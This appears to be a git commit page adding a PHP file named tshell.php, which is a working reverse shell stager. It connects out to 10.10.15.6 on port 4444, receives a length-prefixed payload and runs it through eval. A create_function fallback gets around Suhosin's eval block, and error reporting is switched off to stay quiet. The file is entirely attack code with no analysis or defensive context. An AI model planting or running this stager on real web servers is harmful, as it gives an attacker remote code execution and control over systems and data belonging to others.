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php: add tshell.php

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H 2019-02-19 15:55:20 +00:00 committed by GitHub
parent f081f1e321
commit d63289b993
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1 changed files with 87 additions and 0 deletions
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@ -0,0 +1,87 @@
<?php /**/
error_reporting(0);
$ip = '10.10.15.6';
$port = 4444;
if (($f = 'stream_socket_client') && is_callable($f))
{
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
}
if (!$s && ($f = 'fsockopen') && is_callable($f))
{
$s = $f($ip, $port);
$s_type = 'stream';
}
if (!$s && ($f = 'socket_create') && is_callable($f))
{
$s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res)
{
die();
}
$s_type = 'socket';
}
if (!$s_type)
{
die('no socket funcs');
}
if (!$s)
{
die('no socket');
}
switch ($s_type)
{
case 'stream':
$len = fread($s, 4);
break;
case 'socket':
$len = socket_read($s, 4);
break;
}
if (!$len)
{
die();
}
$a = unpack("Nlen", $len);
$len = $a['len'];
$b = '';
while (strlen($b) < $len)
{
switch ($s_type)
{
case 'stream':
$b.= fread($s, $len - strlen($b));
break;
case 'socket':
$b.= socket_read($s, $len - strlen($b));
break;
}
}
$GLOBALS['msgsock'] = $s;
$GLOBALS['msgsock_type'] = $s_type;
if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval'))
{
$suhosin_bypass = create_function('', $b);
$suhosin_bypass();
}
else
{
eval($b);
}
die();